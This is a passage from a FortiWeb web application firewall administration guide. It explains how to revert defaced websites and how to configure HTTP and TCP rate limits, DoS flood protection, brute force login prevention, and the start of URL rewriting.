 - Click **Acknowledge All** to accept all the file changes in the list.
FortiWeb clears the list.
 - Select an item in the list, and then click **Acknowledge** to accept the individual change.
FortiWeb clears the item from the list.
 - Select an item in the list, and then click the **Revert** icon. In the list of previous versions, click the **Revert** icon for the version to revert to. FortiWeb adds this revert action as a new version in the list.

Reverting a defaced website

When you configure a FortiWeb appliance to protect a website via anti-defacement, FortiWeb periodically downloads a backup copy of that website's files automatically. It creates a new backup revision in the following cases:

- When the FortiWeb appliance initiates monitoring for the first time, the FortiWeb appliance downloads a backup copy of the website's files and store it as the first revision.
- If the FortiWeb appliance could not successfully connect during a monitor interval, it creates a new revision the next time that it re-establishes the connection.



Backup copies omit files that exceed the file size limit or match the file extensions that you have configured the FortiWeb appliance to omit. See "[Anti-defacement](#)" on page 597.

If you do not enable **Restore Changed Files Automatically** (page 600), you can still manually revert the defaced website after a defacement attack to any known good backup revision that the FortiWeb appliance has downloaded.

To revert a website to a backup revision

1. Go to **Web Protection > Web Anti-Defacement** and select the **Anti Defacement** tab.
2. Select the website you want to revert and click the **Revert** icon.
A dialog appears which lists previous site backup copies.
3. In the row corresponding to the copy that you want to restore, click the **Revert to this time** icon.
The FortiWeb appliance connects to the web server and replaces defaced files from the revision you selected.
4. Click **OK**.

Rate limiting

In addition to controlling which URLs a client can access, you can control how often. This can be especially important to preventing scouting and brute force password attacks.



If a client is not really interested in actually receiving a response and/or attempting to authenticate or connecting, but is simply attempting to consume resources in order to deprive legitimate clients, consider more than simple HTTP-layer rate limiting. For details, see ["DoS prevention"](#) on page 604.

If you need to restrict access as well as rate limiting, you can do both at the same time. For details, see ["Combination access control & rate limiting"](#) on page 480.

DoS prevention

You can protect your web assets from a wide variety of denial of service (DoS) attacks.



Some DoS protection features are not supported in all modes of operation. For details, see ["Supported features in each operation mode"](#) on page 102.

DoS features are organized by which open system interconnections (OSI) model layer they use primarily to apply the rate limit:

- Application layer (HTTP or HTTPS)
- Network and transport layer (TCP/IP)

Appropriate DoS rate limits vary by the web application you are protecting. For details, see ["Reducing false positives"](#) on page 751.

Configuring application-layer DoS protection

The **DoS Protection > Application** submenu enables you to configure DoS protection at the network application layer.

For some DoS protection features, the FortiWeb appliance uses session management to track requests.

1. When a FortiWeb appliance receives the first request from any client, it adds a session cookie to the response from the web server in order to track the session. The client will include the cookie in subsequent requests.
2. If a client sends another request before the session timeout, FortiWeb examines the session cookie in the request.
 - If the cookie does not exist or its value has changed, the FortiWeb appliance drops the request.
 - If the same cookie exists, the request is treated as part of the same session. FortiWeb increments its count of connections and/or requests from the client. If the rate exceeds the limit, FortiWeb drops the extra connection or request.

See also

- "Limiting the total HTTP request rate from an IP" on page 605
- "Limiting TCP connections per IP address by session cookie" on page 609
- "Preventing an HTTP request flood" on page 611

Limiting the total HTTP request rate from an IP

You can limit the number of HTTP requests per second, per source IP address.

This feature is similar to **DoS Protection > Application > HTTP Flood Prevention**. However, this feature can prevent HTTP request floods that involve many different URLs. It also can detect source IP addresses that are shared by multiple clients, and intelligently enforce a separate request rate limit for those IPs, even if those clients do not support cookies.

FortiWeb appliances track the rate of requests from each source IP address, regardless of their HTTP method. If the rate of requests exceeds the limit, FortiWeb performs the **Action**.



This scan is bypassed if the client's source IP is a known search engine and you have enabled **Allow Known Search Engines** (page 268).

To configure an HTTP request rate limit

1. Before you configure the rate limit, enable detection of when source IP addresses are shared by multiple clients. For details, see "[Advanced settings](#)" on page 670.



If you do not enable detection of shared IP addresses ([Shared IP](#)), FortiWeb ignores the second threshold, **HTTP Request Limit/sec (Shared IP)** (page 606).

2. Go to **DoS Protection > Application > HTTP Access Limit**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see "[Permissions](#)" on page 85.

3. Click **Create New**.
4. Configure these settings:

Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
HTTP Request Limit/sec (Standalone IP)	Type a rate limit for the maximum number of HTTP requests per second from each source IP address that is a single HTTP client. For example, if loading a web page involves: • 1 HTML file request • 1 external JavaScript file request

- 3 image requests

the rate limit should be at least 5, but could be some multiple such as 10 or 15 in order to allow 2 or 3 page loads per second from each client.

For best results, this should be **at least** as many requests as required to normally load the URL. When a client accesses a web application, it normally requests many files, such as images and style sheets, used by the web page itself. If you set limits too low, it can cause false positive attack detections and block requests. In extreme cases, this could prevent a single web page from fully loading all of its components — images, CSS, and other external files.

The valid range is from 0 to 65,536. The default value is 0. Fortinet suggests an initial value of 500. For details, see ["Reducing false positives"](#) on page 751.

HTTP Request Limit/sec (Shared IP)

Type a rate limit for the maximum number of HTTP requests per second from each source IP address that is shared by multiple HTTP clients.

Typically, this limit should be greater than [HTTP Request Limit/sec \(Standalone IP\)](#) (page 605).

For example, let's say a branch office with 10 employees is accessing your website. Some solitary telecommuters also access your website. Each telecommuter has her own IP address. However, the 10 people at the branch office are behind a firewall with NAT, and from the perspective of the Internet appear to have a single source IP address. If the appropriate rate limit for solitary telecommuters is 20 requests/sec., a fair rate limit for the branch office might be 200 requests/sec.:

$$\begin{array}{l} 20 \text{ requests/sec/person} \times 10 \text{ persons} = \\ 200 \text{ requests/sec.} \end{array}$$

The valid range is from 0 to 65,536. The default value is 0. Fortinet suggests an initial value of 1000. For details, see ["Reducing false positives"](#) on page 751.

Note: If detection of shared IP addresses is disabled, this setting will be **ignored** and all source IP addresses will be limited by [HTTP Request Limit/sec \(Standalone IP\)](#) (page 605) instead. For details, see ["Advanced settings"](#) on page 670.

Bot Recognition

You can select between:

- **Real Browser Enforcement**—Specifies whether FortiWeb returns a JavaScript to the client to test whether it is a web browser or automated tool when it meets any of the specified conditions. If the client fails the test or does not return results before the [Validation Timeout](#) (page 607) expires, FortiWeb applies the [Action](#) (page 607). If the client appears to

	be a web browser, FortiWeb allows the client to exceed the action. See also "Bot analysis" on page 735. • CAPTCHA Enforcement—Requires the client to successfully fulfill a CAPTCHA request. If the client cannot successfully fulfill the request within the Max Attempt Times (page 607) or doesn't fulfill the request within the Validation Timeout (page 607), FortiWeb applies the Action (page 607) and sends the CAPTCHA block page. For details, see "Customizing error and authentication pages (replacement messages)" on page 664.
Max Attempt Times	If CAPTCHA Enforcement is selected for Bot Recognition (page 606), enter the maximum number of attempts that a client may attempt to fulfill a CAPTCHA request. The default value is 3. The valid range is 1–5.
Validation Timeout	Enter the maximum amount of time that FortiWeb will wait for results from the client for Bot Recognition (page 606).
Action	Select which action the FortiWeb appliance will take when it detects a violation of the rule: • Alert—Accept the request and generate an alert email and/or log message. • Alert & Deny—Block the request (or reset the connection) and generate an alert email and/or log message. You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see "Customizing error and authentication pages (replacement messages)" on page 664. • Period Block—Block subsequent requests from the client for a number of seconds. Also configure Block Period (page 608). You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see "Customizing error and authentication pages (replacement messages)" on page 664. Tip: For improved performance during a confirmed DDoS, select this option. Attackers participating in the DoS will then be blocked at the IP layer, conserving FortiWeb resources that would otherwise be consumed by scanning each attacker's request at the HTTP layer, compounding the effects of the DDoS. Note: If FortiWeb is deployed behind a NAT load balancer, when using this option, you must also define an X-header that indicates the original client's IP. Failure to do so may cause FortiWeb to block all connections when it detects a violation of this type. For details, see "Defining your proxies, clients, & X-headers" on page 421. The default value is Alert. Caution: This setting will be ignored if Monitor Mode (page 288) is

	enabled. Note: Because the new active appliance does not know previous session history, after an HA failover, for existing sessions, FortiWeb will not be able to enforce actions for this feature. For details, see "Sessions & FortiWeb HA" on page 74. Note: Logging and/or alert email will occur only if enabled and configured. For details, see "Logging" on page 690 and "Alert email" on page 712. Note: If you will use this rule set with auto-learning, you should select Alert. If Action (page 607) is Alert & Deny, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.
Block Period	Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule. This setting is available only if Action (page 607) is set to Period Block. The valid range is from 1 to 10,000 (2.78 hours). The default value is 0. For details, see "Monitoring currently blocked IPs" on page 735.
Severity	When rule violations are recorded in the attack log, each log message contains a Severity Level (<code>severity_level</code>) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule: • Low • Medium • High The default value is High.
Trigger Policy	Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. For details, see "Viewing log messages" on page 706.

5. Click **OK**.
6. Group the rule in a DoS protection policy that is used by a protection profile. For details, see ["Grouping DoS protection rules"](#) on page 618.
7. Enable the **Session Management** (page 262) option in the protection profile.

Attack log messages contain `DoS Attack: HTTP Access Limit Violation` when this feature detects a multi-URL HTTP flood. For details, see ["Log rate limits"](#) on page 692.

Example: HTTP request rate limit per IP

If you set 10 per second for both the shared and standalone limit, here are two scenarios:

- A client opens 5 TCP connections, where each connection has a different source port. Each TCP connection creates 3 HTTP `GET` requests. The FortiWeb appliance blocks the extra connections as there are 15 HTTP requests overall, which exceeds the limit.
- A client opens a single TCP connection with 12 HTTP `GET` requests. The **Period Block** action is set. Once the count exceeds 10, the FortiWeb appliance blocks all traffic from the client for the specified block period.

Limiting TCP connections per IP address by session cookie

You can limit the number of TCP connections per HTTP session. This can prevent TCP connection floods from clients operating behind a shared IP with innocent clients.

Excessive numbers of TCP connections per session can occur if a web application or client is malfunctioning, or if an attacker is attempting to waste socket resources to produce a DoS.

This feature is similar to **DoS Protection > Network > TCP Flood Prevention**. However, this feature counts TCP connections per session cookie, while **TCP Flood Prevention** counts only TCP connections per IP address. Because it uses session cookies at the application layer instead of only TCP/IP connections at the network layer, this feature can differentiate multiple clients that may be behind the same source IP address, such as when the source IP address hides a subnet that uses network address translation (NAT). However, in order to work, the client must support cookies.

If the count exceeds the limit, FortiWeb executes the **Action**.



This scan is bypassed if the client's source IP is a known search engine and you have enabled **Allow Known Search Engines** (page 268).

To configure a TCP connection limit per session

1. Go to **DoS Protection > Application > Malicious IPs**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see "[Permissions](#)" on page 85.

2. Click **Create New**.

3. Configure these settings:

Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
TCP Connection Number Limit	Type the maximum number of TCP connections allowed with a single HTTP client. The valid range is from 1 to 1,024. The default is 1. Fortinet suggests an initial value of 100. For details, see " Reducing false positives " on page 751.
Action	Select which action the FortiWeb appliance will take when it detects a violation of the rule:

- **Alert**—Accept the request and generate an alert email and/or log message.
- **Alert & Deny**—Block the request (or reset the connection) and generate an alert email and/or log message.

You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see ["Customizing error and authentication pages \(replacement messages\)"](#) on page 664.

- **Period Block**—Block subsequent requests from the client for a number of seconds. Also configure **Block Period** (page 610).

You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see ["Customizing error and authentication pages \(replacement messages\)"](#) on page 664.

Tip: For improved performance during a confirmed DDoS, select this option. Attackers participating in the DoS will then be blocked at the IP layer, conserving FortiWeb resources that would otherwise be consumed by scanning each attacker's request at the HTTP layer, compounding the effects of the DDoS.

Note: If FortiWeb is deployed behind a NAT load balancer, when using this option, you **must** also define an X-header that indicates the original client's IP. Failure to do so may cause FortiWeb to block **all** connections when it detects a violation of this type. For details, see ["Defining your proxies, clients, & X-headers"](#) on page 421.

The default value is **Alert**.

Caution: This setting will be ignored if **Monitor Mode** (page 288) is enabled.

Note: Because the new active appliance does not know previous session history, after an HA failover, for existing sessions, FortiWeb will **not** be able to enforce actions for this feature. For details, see ["Sessions & FortiWeb HA"](#) on page 74.

Note: Logging and/or alert email will occur only if enabled and configured. For details, see ["Logging"](#) on page 690 and ["Alert email"](#) on page 712.

Note: If you will use this rule set with auto-learning, you should select **Alert**. If **Action** (page 607) is **Alert & Deny**, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.

Block Period

Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule.

This setting is available only if **Action** (page 609) is set to **Period**

	Block. The valid range is from 1 to 10,000 (2.78 hours). The default value is 0. For details, see "Monitoring currently blocked IPs" on page 735.
Severity	When rule violations are recorded in the attack log, each log message contains a Severity Level (<code>severity_level</code>) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule: • Low • Medium • High The default value is High.
Trigger Policy	Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. For details, see "Viewing log messages" on page 706.

4. Click **OK**.
5. Group the rule in a DoS protection policy that is used by a protection profile. For details, see ["Grouping DoS protection rules"](#) on page 618.
6. Enable the **Session Management** (page 262) option in the protection profile.

Attack log messages contain `DoS Attack: Malicious IPs Violation` when this feature detects a TCP flood with the same HTTP session cookie. For details, see ["Log rate limits"](#) on page 692.

Example: TCP connection per session limit

If you set 10 as the connection limit, here are two scenarios:

- A client opens 5 TCP connections. Each connection has a different source port. Because each connection has a valid session cookie, and does not exceed the connection limit, the FortiWeb appliance allows them.
- A client opens 11 TCP connections. The FortiWeb appliance blocks the last connection because it exceeds the limit of 10.

See also

- ["Limiting TCP connections per IP address"](#) on page 615

Preventing an HTTP request flood

You can limit the number of HTTP requests per second, per session, per URL. This effectively prevents HTTP request floods that utilize a single URL.

Because this feature uses session cookies at the application layer instead of only TCP/IP connections at the network layer, this feature can differentiate multiple clients that may be behind the same source IP address, such as when the source IP address hides a subnet that uses network address translation (NAT). However, the client must support cookies.

This feature is similar to **DoS Protection > Application > HTTP Access Limit**. However, rather than preventing many requests to **any** URL by the same client, it prevents many requests to the **same** URL by the same client.

If the rate exceeds the limit, the FortiWeb appliance executes the **Action**.



This scan is bypassed if the client's source IP is a known search engine and you have enabled **Allow Known Search Engines** (page 268).

To configure HTTP flood prevention

1. Go to **DoS Protection > Application > HTTP Flood Prevention**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see "[Permissions](#)" on page 85.

2. Click **Create New**.

3. Configure these settings:

Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
HTTP Request Limit/sec	Type the maximum rate of requests per second allowed from a single HTTP client. The valid range is from 0 to 4,096. The default is 0. Fortinet suggests an initial value of 500. For details, see "Reducing false positives" on page 751.
Bot Recognition	You can select between: • Real Browser Enforcement—Specifies whether FortiWeb returns a JavaScript to the client to test whether it is a web browser or automated tool when it meets any of the specified conditions. If the client fails the test or does not return results before the Validation Timeout (page 613) expires, FortiWeb applies the Action (page 613). If the client appears to be a web browser, FortiWeb allows the client to exceed the action. For details, see "Bot analysis" on page 735. • CAPTCHA Enforcement—Requires the client to successfully fulfill a CAPTCHA request. If the client cannot successfully fulfill the request within the Max Attempt Times (page 612) or doesn't fulfill the request within the Validation Timeout (page 613), FortiWeb applies the Action (page 613) and sends the CAPTCHA block page. For details, see "Customizing error and authentication pages (replacement messages)" on page 664.
Max Attempt Times	If CAPTCHA Enforcement is selected for Bot Recognition (page 612), enter the maximum number of attempts that a client may attempt to fulfill

	a CAPTCHA request. The default value is 3. The valid range is 1–5.
Validation Timeout	Enter the maximum amount of time that FortiWeb will wait for results from the client for Bot Recognition (page 612).
Action	Select which action the FortiWeb appliance will take when it detects a violation of the rule: • Alert—Accept the request and generate an alert email and/or log message. • Alert & Deny—Block the request (or reset the connection) and generate an alert email and/or log message. You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see "Customizing error and authentication pages (replacement messages)" on page 664. • Period Block—Block subsequent requests from the client for a number of seconds. Also configure Block Period (page 614). You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see "Customizing error and authentication pages (replacement messages)" on page 664. Tip: For improved performance during a confirmed DDoS, select this option. Attackers participating in the DoS will then be blocked at the IP layer, conserving FortiWeb resources that would otherwise be consumed by scanning each attacker's request at the HTTP layer, compounding the effects of the DDoS. Note: If FortiWeb is deployed behind a NAT load balancer, when using this option, you must also define an X-header that indicates the original client's IP. Failure to do so may cause FortiWeb to block all connections when it detects a violation of this type. For details, see "Defining your proxies, clients, & X-headers" on page 421. The default value is Alert. Caution: This setting will be ignored if Monitor Mode (page 288) is enabled. Note: Because the new active appliance does not know previous session history, after an HA failover, for existing sessions, FortiWeb will not be able to enforce actions for this feature. For details, see "Sessions & FortiWeb HA" on page 74. Note: Logging and/or alert email will occur only if enabled and configured. For details, see "Logging" on page 690 and "Alert email" on page 712. Note: If you will use this rule set with auto-learning, you should select Alert. If Action (page 607) is Alert & Deny, or any other option that causes the FortiWeb appliance to terminate or modify the request or

	reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.
Block Period	Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule. This setting is available only if Action (page 609) is set to Period Block. The valid range is from 1 to 10,000 (2.78 hours). The default value is 0. For details, see "Monitoring currently blocked IPs" on page 735.
Severity	When rule violations are recorded in the attack log, each log message contains a Severity Level (<code>severity_level</code>) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule: • Low • Medium • High The default value is High.
Trigger Policy	Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. For details, see " Viewing log messages " on page 706.

4. Click **OK**.
5. Group the rule in a DoS protection policy. For details, see "[Grouping DoS protection rules](#)" on page 618.
6. Select the DoS protection policy in a protection profile. For details, see "[Configuring a protection profile for inline topologies](#)" on page 261.
7. Enable the **Session Management** option in the protection profile.

Attack log messages contain `DoS Attack: HTTP Flood Prevention Violation` when this feature detects an HTTP flood.

Example: HTTP request flood prevention

Assuming you set 10 as the limit, here are three scenarios:

- A client opens a single TCP connection with 8 HTTP GET requests. As long as they all have the session cookie set by the FortiWeb appliance, it allows the requests.
- A client opens a single TCP connection with 8 HTTP GET requests. One request does not have the session cookie. The FortiWeb appliance drops the TCP connection (dropping all sessions).
- Two clients open 2 TCP connections. Each has 6 HTTP requests with the same session cookie. The FortiWeb appliance blocks the last two requests because there are 12, which exceeds the 10 limit.

Configuring network-layer DoS protection

You configure DoS protection at the network layer using the **DoS Protection > Network** submenu and server policies.

Limiting TCP connections per IP address

You can limit the number of fully-formed TCP connections per source IP address. This effectively prevents TCP flood-style denial-of-service (DoS) attacks.

TCP flood attacks exploit the fact that servers must consume memory to maintain the state of the open connection until either the timeout, or the client or server closes the connection. This consumes some memory even if the client is not currently sending any HTTP requests.

Normally, a legitimate client will form a single TCP connection, through which they may make several HTTP requests. As a result, each client consumes a negligible amount of memory to track the state of the TCP connection. However, an attacker will open many connections with perhaps zero or one request each, until the server is exhausted and has no memory left to track the TCP states of new connections with legitimate clients.

This feature is similar to **DoS Protection > Application > Malicious IPs**. However, this feature counts TCP connections per IP, while **Malicious IPs** counts TCP connections per session cookie.

It is also similar to the **Syn Cookie** setting in a server policy. However, this feature counts fully-formed TCP connections, while **Syn Cookie** counts partially-formed TCP connections.

FortiWeb counts the TCP connections. If a source IP address exceeds the limit, FortiWeb executes the **Action** for that client.

To configure a TCP connection flood limit

1. Go to **DoS Protection > Network > TCP Flood Prevention**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see "[Permissions](#)" on page 85.

2. Click **Create New**.

3. Configure these settings:

Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
TCP Connection Number Limit	Type the maximum number of TCP connections allowed with a single source IP address. The valid range is from 0 to 65,535. The default is 0.
Action	Select which action the FortiWeb appliance will take when it detects a violation of the rule: • Alert—Accept the request and generate an alert email and/or log message.

- **Alert & Deny**—Block the request (or reset the connection) and generate an alert email and/or log message.

You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see ["Customizing error and authentication pages \(replacement messages\)"](#) on page 664.

- **Period Block**—Block subsequent requests from the client for a number of seconds. Also configure **Block Period** (page 616).

You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see ["Customizing error and authentication pages \(replacement messages\)"](#) on page 664.

Tip: For improved performance during a confirmed DDoS, select this option. Attackers participating in the DoS will then be blocked at the IP layer, conserving FortiWeb resources that would otherwise be consumed by scanning each attacker's request at the HTTP layer, compounding the effects of the DDoS.

The default value is **Alert**.

Caution: This setting will be ignored if **Monitor Mode** (page 288) is enabled.

Note: Logging and/or alert email will occur only if enabled and configured. For details, see ["Logging"](#) on page 690 and ["Alert email"](#) on page 712.

Note: If you will use this rule set with auto-learning, you should select **Alert**. If **Action** (page 607) is **Alert & Deny**, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.

Block Period

Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule.

This setting is available only if **Action** (page 615) is set to **Period Block**. The valid range is from 1 to 3,600 (1 hour). The default value is 0. For details, see ["Monitoring currently blocked IPs"](#) on page 735.

Severity

When rule violations are recorded in the attack log, each log message contains a **Severity Level** (`severity_level`) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule:

- Low
- Medium
- High

The default value is **Medium**.

Trigger Action

Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. For details, see ["Viewing log messages"](#) on page 706.

4. Click **OK**.
5. Group the rule in a DoS protection policy that is used by a protection profile. For details, see ["Grouping DoS protection rules"](#) on page 618.

Attack log messages contain `DoS Attack: TCP Flood Prevention Violation` when this feature detects a TCP connection flood. For details, see ["Log rate limits"](#) on page 692.

Example: TCP flood prevention

Assume you set 10 as the limit. A client opens 15 TCP connections. Each connection has a different source port. The FortiWeb appliance counts all connections as part of the same source IP and blocks the connections because they exceed the limit.

See also

- [Limiting TCP connections per IP address by session cookie](#)
- [Preventing a TCP SYN flood](#)

Preventing a TCP SYN flood

You can configure protection from TCP `SYN` flood-style denial of service (DoS) attacks.

TCP `SYN` floods attempt to exploit the state mechanism of TCP. At the point where a client has only sent a `SYN` signal, a connection has been initiated and therefore consumes server memory to remember the state of the half-open connection. However, because the connection is not yet fully formed, packets are not required to contain any actual application layer payload such as HTTP. Therefore, application-layer scans cannot block the connection. Scans that only count fully-formed socket connections (where the client's `SYN` has been replied to by a `SYN ACK` from the server, and the client has confirmed connection establishment with an `ACK`) cannot block it either.

Normally, a legitimate client quickly completes the connection build-up and tear-down. However, an attacker initiates many connections without completing them until the server is exhausted and has no memory left to track the TCP connection state for legitimate clients.

To prevent this, FortiWeb can use a "SYN cookie"—a small piece of memory that keeps a timeout for half-open connections. This mechanism prevents half-open connections from accumulating to the point of socket exhaustion.

This feature is similar to **DoS Protection > Network > TCP Flood Prevention**. However, this feature counts partially-formed TCP connections, while **TCP Flood Prevention** counts fully-formed TCP connections.

TCP SYN flood protection is available only when the operating mode is Reverse Proxy or True Transparent Proxy. To enable the feature, you configure the [Syn Cookie](#) (page 281) and [Half Open Threshold](#) (page 281) options in the appropriate server policy.

Grouping DoS protection rules

Before you can apply them in a server policy via a protection profile, you must first group DoS prevention rules. (You enable TCP SYN flood protection in the appropriate server policy.)

To configure a DoS protection policy

1. Before you can configure a DoS protection policy, you must first configure the rules that you want to include:
 - HTTP request flood prevention (see ["Preventing an HTTP request flood"](#) on page 611)
 - HTTP request rate limit (see ["Limiting the total HTTP request rate from an IP"](#) on page 605)
 - TCP connections per session (see ["Limiting TCP connections per IP address by session cookie"](#) on page 609)
 - TCP connection flood prevention (see ["Limiting TCP connections per IP address"](#) on page 615)
2. Go to **DoS Protection > DoS Protection Policy**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see ["Permissions"](#) on page 85.
3. Click **Create New**.
4. In **Name**, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
5. If you want to apply features that use session cookies, enable **HTTP Session Based Prevention**.
 - From **HTTP Flood Prevention**, select an existing rule that sets the maximum number of HTTP requests per second to a specific URL. For details, see ["Preventing an HTTP request flood"](#) on page 611.
 - From **Malicious IPs**, select an existing rule that limits TCP connections from the same client. For details, see ["Limiting TCP connections per IP address by session cookie"](#) on page 609.
6. If you want to restrict traffic based upon request or connection counts, enable **HTTP Network Based Prevention**.
 - From **HTTP Access Limit**, select a rule, if any, that you want to include. For details, see ["Limiting the total HTTP request rate from an IP"](#) on page 605.
 - From **TCP Flood Prevention**, select a rule, if any, that you want to include. For details, see ["Limiting TCP connections per IP address"](#) on page 615.
7. Click **OK**.
8. To apply the policy, select the DoS protection policy in an inline protection profile. For details, see ["Configuring a protection profile for inline topologies"](#) on page 261.
9. If you have configured DoS protection features that use session cookies, also enable the **Session Management** (page 262) option in the protection profile.

See also

- ["Sequence of scans"](#) on page 56
- ["Bot analysis"](#) on page 735

Preventing brute force logins

FortiWeb can prevent brute force login attacks.

Brute force attackers attempt to penetrate systems by the sheer number of clients, attempts, or computational power, rather than by intelligent insight or advance knowledge of application logic or data.

Specifically in brute force attacks on authentication, multiple web clients may rapidly try one user name and password combination after another in an attempt to eventually guess a correct login and gain access to the system. In this way, behavior differs from web crawlers, which typically do not focus on a single URL.

Brute force login attack profiles track the rate at which each source IP address makes requests for specific URLs. If the source IP address exceeds the threshold, the FortiWeb appliance penalizes the source IP address by blocking additional requests for the time period that you indicate in the profile.



This scan is bypassed if the client's source IP is a known search engine and you have enabled **Allow Known Search Engines** (page 268).

To configure brute force login attack prevention

- Before you configure a brute force login attack profile, if you want to apply it only to HTTP requests for a specific real or virtual host, you must first define the web host in a protected host names group. For details, see ["Defining your protected/allowed HTTP "Host:" header names"](#) on page 388. Before you configure the rate limit, enable detection of when source IP addresses are shared by multiple clients. For details, see ["Advanced settings"](#) on page 670.



If you do not enable detection of shared IP addresses (**Shared IP** (page 670)), the second threshold, **Share IP Access Limit** (page 620), will be ignored.

- Go to **Web Protection > Access > Brute Force**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see ["Permissions"](#) on page 85.

- Click **Create New**.
- Configure these settings:

Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
Severity	When rule violations are recorded in the attack log, each log message contains a Severity Level (<code>severity_level</code>) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule:

- Low
- Medium
- High

The default value is **High**.

Trigger Policy

Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. For details, see ["Viewing log messages"](#) on page 706.

5. Click **OK**.
6. Click **Create New** to add an entry to the set.
7. Configure these settings:

Host Status	Enable to require that the <code>Host :</code> field of the HTTP request match a protected host names entry in order to be included in the brute force login attack profile's rate calculations. Also configure Host (page 620).
Host	Select which protected host names entry (either a web host name or IP address) that the <code>Host :</code> field of the HTTP request must be in to match the brute force login attack profile. This option is available only if Host Status (page 620) is enabled.
Type	Select how to apply the limit of login attempts in Standalone IP Access Limit (page 620) or Share IP Access Limit (page 620), either: • Based on Source IP—Apply the limit to per source IP. • Based on TCP Session—Apply the limit to per TCP/IP session. Tip: If you need to cover both possibilities, create two members.
Request File	Type the URL that the HTTP/HTTPS request must match to be included in the brute force login attack profile's rate calculations. When you have finished typing the regular expression, click the >> (test) icon. This opens the Regular Expression Validator window where you can fine-tune the expression. For details, see "Regular expression syntax" on page 829.
Standalone IP Access Limit	Type the rate threshold for source IP addresses that are single clients. Request rates exceeding the threshold will cause the FortiWeb appliance to block additional requests for the length of the time in the Block Period (page 621) field. To disable the rate limit, type 0.
Share IP Access Limit	Type the rate threshold for source IP addresses that are shared by multiple clients behind a network address translation (NAT) device such as a firewall or router. Request rates exceeding the threshold will

cause the FortiWeb appliance to block additional requests for the length of the time in the **Block Period** (page 621) field.

To disable the rate limit, type 0.

Note: Blocking a shared source IP address could block innocent clients that share the same source IP address with an offending client. In addition, the rate is a total rate for all clients that use the same source IP address. For these reasons, you should usually enter a greater value for this field than for **Standalone IP Access Limit** (page 620).

Note: This option will be ignored if you have not enabled detection of shared IP addresses. For details, see ["Advanced settings"](#) on page 670.

Block Period

Type the length of time in seconds for which the FortiWeb appliance will block subsequent requests after a source IP address exceeds the rate threshold in either **Standalone IP Access Limit** (page 620) or **Share IP Access Limit** (page 620).

The block period is shared by all clients whose traffic originates from the source IP address. The valid range is from 1 to 10,000 seconds.

8. Click **OK**.
9. Repeat the previous steps for each individual login page that you want to add to the brute force login attack profile.
10. To apply the brute force login attack profile, select it in an inline protection profile. For details, see ["Configuring a protection profile for inline topologies"](#) on page 261.

Attack log messages contain `Brute Force Login Violation` when this feature detects a brute force login attack.

See also

- ["IPv6 support"](#) on page 60

Rewriting & redirecting

Rewriting or redirecting HTTP requests and responses is popular, and can be done for many reasons.

Similar to error message cloaking, URL rewriting can prevent the disclosure of underlying technology or website structures to HTTP clients.

For example, when visiting a blog web page, its URL might be:

```
http://www.example.com/wordpress/?feed=rss2
```

Simply knowing the file name, that the blog uses PHP, its compatible database types, and the names of parameters via the URL could help an attacker to craft an appropriate attack for that platform. By rewriting the URL to something more human-readable and less platform-specific, the details can be hidden:

```
http://www.example.com/rss2
```

Aside from security reasons, rewriting and redirects can be for aesthetic or business purposes, too. Financial institutions can transparently redirect customers that accidentally request HTTP:

```
http://bank.example.com/login
```

to authenticate and do transactions on their secured HTTPS site:

```
https://bank.example.com/login
```

Additional uses could include:

- During maintenance windows, requests can be redirected to a read-only server.
- International customers can use global URLs, with no need to configure the back-end web servers to respond to additional HTTP virtual host names.
- Shorter URLs with easy-to-remember phrases and formatting are easier for customers to understand, remember, and return to.

Much more than their name implies, "URL rewriting rules" can do all of those things, and more:

- Redirect HTTP requests to HTTPS
